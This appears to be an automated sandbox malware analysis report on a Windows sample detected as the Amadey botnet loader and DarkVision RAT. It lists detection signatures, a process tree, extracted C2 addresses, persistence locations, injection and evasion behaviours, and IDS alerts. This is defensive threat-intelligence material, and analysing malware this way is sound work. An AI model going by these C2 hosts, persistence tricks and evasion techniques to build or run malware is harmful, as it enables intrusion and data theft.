Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1535260
MD5:	ed9393d5765529c845c623e35c1b1a34
SHA1:	d3eca07f5ce0df847070d2d7fe5253067f624285
SHA256:	53cd2428c9883acca7182781f22df82c38f8cc115dc014b68e32f8b1cdbf246a
Tags:	NETAmadeyexeMSILuser-jstrosch
Infos:

Detection

Amadey, DarkVision Rat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Amadeys stealer DLL

Yara detected DarkVision Rat

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found evasive API chain (may stop execution after checking mutex)

Found evasive API chain checking for user administrative privileges

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Searches for specific processes (likely to inject)

Switches to a custom stack to bypass stack traces

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to retrieve information about pressed keystrokes

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found evaded block containing many API calls

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain (may stop execution after checking a module file name)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Execution of Suspicious File Type Extension

Stores files to the Windows start menu directory

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 2376 cmdline: "C:\Users\user\Desktop\file.exe" MD5: ED9393D5765529C845C623E35C1B1A34)

InstallUtil.exe (PID: 6112 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

stub4141_2024-10-16_10-48.exe (PID: 6036 cmdline: "C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe" MD5: 66694C008432CC28A1869FA9E7ACBE31)

lcs (PID: 5284 cmdline: "C:\ProgramData\psh\lcs" {62A73DC5-B44C-41A5-95C2-BF9107E36D73} MD5: 66694C008432CC28A1869FA9E7ACBE31)

explorer.exe (PID: 672 cmdline: "C:\Windows\explorer.exe" MD5: 662F4F92FDE3557E86D110526BB578D5)

WerFault.exe (PID: 5568 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6036 -s 768 MD5: C31336C1EFC2CCB44B4326EA793040F2)

Application.exe (PID: 4860 cmdline: "C:\ProgramData\Office Manager\Application.exe" MD5: ED9393D5765529C845C623E35C1B1A34)

InstallUtil.exe (PID: 5464 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

InstallUtil.exe (PID: 6820 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Malware Configuration

Threatname: Amadey

{"C2 url": "185.215.113.19/CoreOPT/index.php", "Version": "4.41", "Install Folder": "417fd29867", "Install File": "ednfoki.exe"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000D.00000002.2683597443.00000000004C8000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xfa8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000C.00000002.2584203663.0000000000589000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1060:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000D.00000002.2687709994.0000000002010000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1880424577.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: stub4141_2024-10-16_10-48.exe PID: 6036	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
Process Memory Space: lcs PID: 5284	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
Process Memory Space: explorer.exe PID: 672	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author
10.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
10.2.InstallUtil.exe.400000.0.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.3f12950.0.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\psh\lcs {DB324A97-B31B-4D9E-9903-E21DB623A349}, EventID: 13, EventType: SetValue, Image: C:\Windows\explorer.exe, ProcessId: 672, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\StartValue

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: "C:\ProgramData\psh\lcs" {62A73DC5-B44C-41A5-95C2-BF9107E36D73}, CommandLine: "C:\ProgramData\psh\lcs" {62A73DC5-B44C-41A5-95C2-BF9107E36D73}, CommandLine|base64offset|contains: , Image: C:\ProgramData\psh\lcs, NewProcessName: C:\ProgramData\psh\lcs, OriginalFileName: C:\ProgramData\psh\lcs, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe, ParentProcessId: 6036, ParentProcessName: stub4141_2024-10-16_10-48.exe, ProcessCommandLine: "C:\ProgramData\psh\lcs" {62A73DC5-B44C-41A5-95C2-BF9107E36D73}, ProcessId: 5284, ProcessName: lcs

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\file.exe, ProcessId: 2376, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Office Manager.url

Suricata Signatures

ET MALWARE Amadey Bot Activity (POST) M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-16T19:22:40.363922+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49716	185.215.113.19	80	TCP
2024-10-16T19:22:41.661692+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49718	185.215.113.19	80	TCP
2024-10-16T19:22:43.493737+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49720	185.215.113.19	80	TCP
2024-10-16T19:22:45.289784+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49722	185.215.113.19	80	TCP
2024-10-16T19:22:47.189816+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49724	185.215.113.19	80	TCP
2024-10-16T19:22:49.485764+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49727	185.215.113.19	80	TCP
2024-10-16T19:22:51.269823+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49729	185.215.113.19	80	TCP
2024-10-16T19:22:53.777826+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49732	185.215.113.19	80	TCP
2024-10-16T19:22:55.226202+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49734	185.215.113.19	80	TCP
2024-10-16T19:22:57.053542+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49736	185.215.113.19	80	TCP
2024-10-16T19:22:59.447739+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49737	185.215.113.19	80	TCP
2024-10-16T19:23:01.077630+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49740	185.215.113.19	80	TCP
2024-10-16T19:23:02.794271+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49742	185.215.113.19	80	TCP
2024-10-16T19:23:04.737491+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49745	185.215.113.19	80	TCP
2024-10-16T19:23:06.525787+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49748	185.215.113.19	80	TCP
2024-10-16T19:23:08.285559+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49750	185.215.113.19	80	TCP
2024-10-16T19:23:09.493568+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49752	185.215.113.19	80	TCP
2024-10-16T19:23:11.453534+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49754	185.215.113.19	80	TCP
2024-10-16T19:23:13.307629+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49755	185.215.113.19	80	TCP
2024-10-16T19:23:14.565680+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49758	185.215.113.19	80	TCP
2024-10-16T19:23:16.472877+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49760	185.215.113.19	80	TCP
2024-10-16T19:23:18.150371+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49761	185.215.113.19	80	TCP
2024-10-16T19:23:19.469415+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49763	185.215.113.19	80	TCP
2024-10-16T19:23:21.453384+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49766	185.215.113.19	80	TCP
2024-10-16T19:23:23.748724+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49768	185.215.113.19	80	TCP
2024-10-16T19:23:26.165408+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49770	185.215.113.19	80	TCP
2024-10-16T19:23:27.925616+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49772	185.215.113.19	80	TCP
2024-10-16T19:23:29.942127+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49773	185.215.113.19	80	TCP
2024-10-16T19:23:31.277342+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49775	185.215.113.19	80	TCP
2024-10-16T19:23:33.161267+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49778	185.215.113.19	80	TCP
2024-10-16T19:23:34.897567+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49780	185.215.113.19	80	TCP
2024-10-16T19:23:36.729061+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49783	185.215.113.19	80	TCP
2024-10-16T19:23:37.406457+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49785	185.215.113.19	80	TCP
2024-10-16T19:23:39.141218+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49789	185.215.113.19	80	TCP
2024-10-16T19:23:41.061673+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49791	185.215.113.19	80	TCP
2024-10-16T19:23:43.076686+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49792	185.215.113.19	80	TCP
2024-10-16T19:23:44.289355+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49794	185.215.113.19	80	TCP
2024-10-16T19:23:46.237282+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49796	185.215.113.19	80	TCP
2024-10-16T19:23:48.113341+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49799	185.215.113.19	80	TCP
2024-10-16T19:23:50.069126+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49801	185.215.113.19	80	TCP
2024-10-16T19:23:51.350605+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49850	185.215.113.19	80	TCP
2024-10-16T19:23:52.001223+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49804	185.215.113.19	80	TCP
2024-10-16T19:23:53.750147+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49807	185.215.113.19	80	TCP
2024-10-16T19:23:55.813283+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49809	185.215.113.19	80	TCP
2024-10-16T19:23:57.518575+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49811	185.215.113.19	80	TCP
2024-10-16T19:23:59.357162+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49814	185.215.113.19	80	TCP
2024-10-16T19:24:01.253261+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49816	185.215.113.19	80	TCP
2024-10-16T19:24:03.645144+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49817	185.215.113.19	80	TCP
2024-10-16T19:24:05.548901+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49818	185.215.113.19	80	TCP
2024-10-16T19:24:07.653102+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49822	185.215.113.19	80	TCP
2024-10-16T19:24:09.605091+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49826	185.215.113.19	80	TCP
2024-10-16T19:24:11.404972+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49829	185.215.113.19	80	TCP
2024-10-16T19:24:13.233047+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49834	185.215.113.19	80	TCP
2024-10-16T19:24:15.305355+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49837	185.215.113.19	80	TCP
2024-10-16T19:24:18.061298+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49840	185.215.113.19	80	TCP
2024-10-16T19:24:19.793083+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49842	185.215.113.19	80	TCP
2024-10-16T19:24:22.190104+0200	2044597	1	A Network Trojan was detected	192.168.2.9	49845	185.215.113.19	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-16T19:24:06.401799+0200	2044696	1	A Network Trojan was detected	192.168.2.9	49819	185.215.113.19	80	TCP

ET MALWARE Win32/DarkVision RAT CnC Checkin M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-16T19:24:19.770848+0200	2045618	1	A Network Trojan was detected	192.168.2.9	49843	82.147.85.218	7785	TCP
2024-10-16T19:24:22.024950+0200	2045618	1	A Network Trojan was detected	192.168.2.9	49846	82.147.85.218	7785	TCP
2024-10-16T19:24:23.352517+0200	2045618	1	A Network Trojan was detected	192.168.2.9	49848	82.147.85.218	7785	TCP
2024-10-16T19:24:25.047897+0200	2045618	1	A Network Trojan was detected	192.168.2.9	49851	82.147.85.218	7785	TCP
2024-10-16T19:24:26.392312+0200	2045618	1	A Network Trojan was detected	192.168.2.9	49852	82.147.85.218	7785	TCP
2024-10-16T19:24:27.929391+0200	2045618	1	A Network Trojan was detected	192.168.2.9	49853	82.147.85.218	7785	TCP

ET MALWARE Win32/DarkVision RAT CnC Checkin M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-16T19:24:21.160274+0200	2045620	1	A Network Trojan was detected	192.168.2.9	49843	82.147.85.218	7785	TCP

ET MALWARE Win32/DarkVision RAT CnC Checkin M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-16T19:24:21.484634+0200	2045619	1	A Network Trojan was detected	192.168.2.9	49843	82.147.85.218	7785	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-16T19:22:40.402448+0200	2856147	1	A Network Trojan was detected	192.168.2.9	49715	185.215.113.19	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-16T19:24:01.122053+0200	2856122	1	A Network Trojan was detected	185.215.113.19	80	192.168.2.9	49813	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-16T19:24:01.858982+0200	2803305	3	Unknown Traffic	192.168.2.9	49815	104.21.21.16	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\ProgramData\psh\lcs	Avira: detection malicious, Label: HEUR/AGEN.1306978
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Avira: detection malicious, Label: HEUR/AGEN.1306978
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\stub4141_2024-10-16_10-48[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1306978
Source: C:\ProgramData\Office Manager\Application.exe	Avira: detection malicious, Label: HEUR/AGEN.1300034

Found malware configuration

Source: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp

Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.19/CoreOPT/index.php", "Version": "4.41", "Install Folder": "417fd29867", "Install File": "ednfoki.exe"}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Office Manager\Application.exe

ReversingLabs: Detection: 68%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 63%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\ProgramData\psh\lcs	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\stub4141_2024-10-16_10-48[1].exe	Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0041B2B0 CryptAcquireContextW,CryptCreateHash,WaitForSingleObject,CryptHashData,CryptHashData,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,CryptReleaseContext,CryptDestroyHash,	12_2_0041B2B0
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0041B366 CryptReleaseContext,CryptDestroyHash,	12_2_0041B366
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_00402BC0 LocalAlloc,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,_memset,CryptBinaryToStringW,CryptBinaryToStringW,_memset,__snwprintf,lstrcpyW,LocalFree,WaitForSingleObject,RtlExitUserThread,_memset,_memset,_memset,_memset,__snwprintf,WaitForMultipleObjects,WaitForSingleObject,GetExitCodeProcess,WaitForSingleObject,WaitForSingleObject,CloseHandle,CloseHandle,LocalFree,LocalFree,CloseHandle,CloseHandle,	12_2_00402BC0
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0041B3E1 CryptReleaseContext,CryptDestroyHash,	12_2_0041B3E1
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0041B389 CryptReleaseContext,CryptDestroyHash,	12_2_0041B389
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0041B3BC CryptReleaseContext,CryptDestroyHash,	12_2_0041B3BC
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_020E2E27 LocalAlloc,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,_memset,CryptBinaryToStringW,CryptBinaryToStringW,_memset,__snwprintf,lstrcpyW,LocalFree,WaitForSingleObject,RtlExitUserThread,_memset,_memset,_memset,_memset,__snwprintf,WaitForMultipleObjects,WaitForSingleObject,GetExitCodeProcess,WaitForSingleObject,WaitForSingleObject,CloseHandle,CloseHandle,LocalFree,LocalFree,CloseHandle,CloseHandle,	12_2_020E2E27
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_020FB517 CryptAcquireContextW,CryptCreateHash,WaitForSingleObject,CryptHashData,CryptHashData,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,CryptReleaseContext,CryptDestroyHash,	12_2_020FB517
Source: C:\ProgramData\psh\lcs	Code function: 13_2_02012E27 LocalAlloc,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,_memset,CryptBinaryToStringW,CryptBinaryToStringW,_memset,__snwprintf,lstrcpyW,LocalFree,WaitForSingleObject,RtlExitUserThread,_memset,_memset,_memset,_memset,__snwprintf,WaitForMultipleObjects,WaitForSingleObject,GetExitCodeProcess,WaitForSingleObject,WaitForSingleObject,CloseHandle,CloseHandle,LocalFree,LocalFree,CloseHandle,CloseHandle,	13_2_02012E27
Source: C:\ProgramData\psh\lcs	Code function: 13_2_0202B517 CryptAcquireContextW,CryptCreateHash,WaitForSingleObject,CryptHashData,CryptHashData,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,CryptReleaseContext,CryptDestroyHash,	13_2_0202B517
Source: C:\Windows\explorer.exe	Code function: 18_2_01302510 LocalAlloc,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,lstrcpyW,CryptBinaryToStringW,CryptBinaryToStringW,lstrcpyW,LocalFree,WaitForSingleObject,RtlExitUserThread,WaitForMultipleObjects,WaitForSingleObject,GetExitCodeProcess,WaitForSingleObject,WaitForSingleObject,CloseHandle,CloseHandle,LocalFree,LocalFree,CloseHandle,CloseHandle,	18_2_01302510
Source: C:\Windows\explorer.exe	Code function: 18_2_0131B86E CryptReleaseContext,CryptDestroyHash,	18_2_0131B86E
Source: C:\Windows\explorer.exe	Code function: 18_2_0131B847 CryptReleaseContext,CryptDestroyHash,	18_2_0131B847
Source: C:\Windows\explorer.exe	Code function: 18_2_0131B8AA CryptReleaseContext,CryptDestroyHash,	18_2_0131B8AA
Source: C:\Windows\explorer.exe	Code function: 18_2_0131B8DF CryptReleaseContext,CryptDestroyHash,	18_2_0131B8DF
Source: C:\Windows\explorer.exe	Code function: 18_2_0131B750 CryptAcquireContextW,CryptCreateHash,WaitForSingleObject,CryptHashData,CryptHashData,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,CryptReleaseContext,CryptDestroyHash,	18_2_0131B750

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Unpacked PE file: 12.2.stub4141_2024-10-16_10-48.exe.400000.0.unpack
Source: C:\ProgramData\psh\lcs	Unpacked PE file: 13.2.lcs.400000.0.unpack

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 10_2_0043F750 FindFirstFileExW,	10_2_0043F750
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0040EC30 _memset,_memset,SHGetKnownFolderPath,lstrlenW,__snwprintf,__snwprintf,CoTaskMemFree,_memset,__snwprintf,FindFirstFileW,_memset,__snwprintf,DeleteFileW,FindNextFileW,FindClose,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,	12_2_0040EC30
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_0041BE40 WaitForSingleObject,LocalAlloc,wnsprintfW,LocalAlloc,FindFirstFileW,WaitForSingleObject,lstrcmpW,lstrcmpW,LocalAlloc,wnsprintfW,RemoveDirectoryW,GetLastError,LocalFree,wnsprintfW,DeleteFileW,FindNextFileW,FindClose,GetLastError,LocalFree,LocalFree,	12_2_0041BE40
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_020FC0A7 WaitForSingleObject,LocalAlloc,wnsprintfW,LocalAlloc,FindFirstFileW,WaitForSingleObject,lstrcmpW,lstrcmpW,LocalAlloc,wnsprintfW,RemoveDirectoryW,GetLastError,LocalFree,wnsprintfW,DeleteFileW,FindNextFileW,FindClose,GetLastError,LocalFree,LocalFree,	12_2_020FC0A7
Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe	Code function: 12_2_020EEE97 _memset,_memset,SHGetKnownFolderPath,lstrlenW,__snwprintf,__snwprintf,CoTaskMemFree,_memset,__snwprintf,FindFirstFileW,_memset,__snwprintf,DeleteFileW,FindNextFileW,FindClose,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,	12_2_020EEE97
Source: C:\ProgramData\psh\lcs	Code function: 13_2_0202C0A7 WaitForSingleObject,LocalAlloc,wnsprintfW,LocalAlloc,FindFirstFileW,WaitForSingleObject,lstrcmpW,lstrcmpW,LocalAlloc,wnsprintfW,RemoveDirectoryW,GetLastError,LocalFree,wnsprintfW,DeleteFileW,FindNextFileW,FindClose,GetLastError,LocalFree,LocalFree,	13_2_0202C0A7
Source: C:\ProgramData\psh\lcs	Code function: 13_2_0201EE97 _memset,_memset,SHGetKnownFolderPath,lstrlenW,__snwprintf,__snwprintf,CoTaskMemFree,_memset,__snwprintf,FindFirstFileW,_memset,__snwprintf,DeleteFileW,FindNextFileW,FindClose,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,	13_2_0201EE97
Source: C:\Windows\explorer.exe	Code function: 18_2_01307200 SHGetKnownFolderPath,lstrlenW,CoTaskMemFree,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,	18_2_01307200

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49716 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.9:49715 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49718 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49720 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044597 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) M1 : 192.168.2.9:49722 -> 185.215.113.19:80
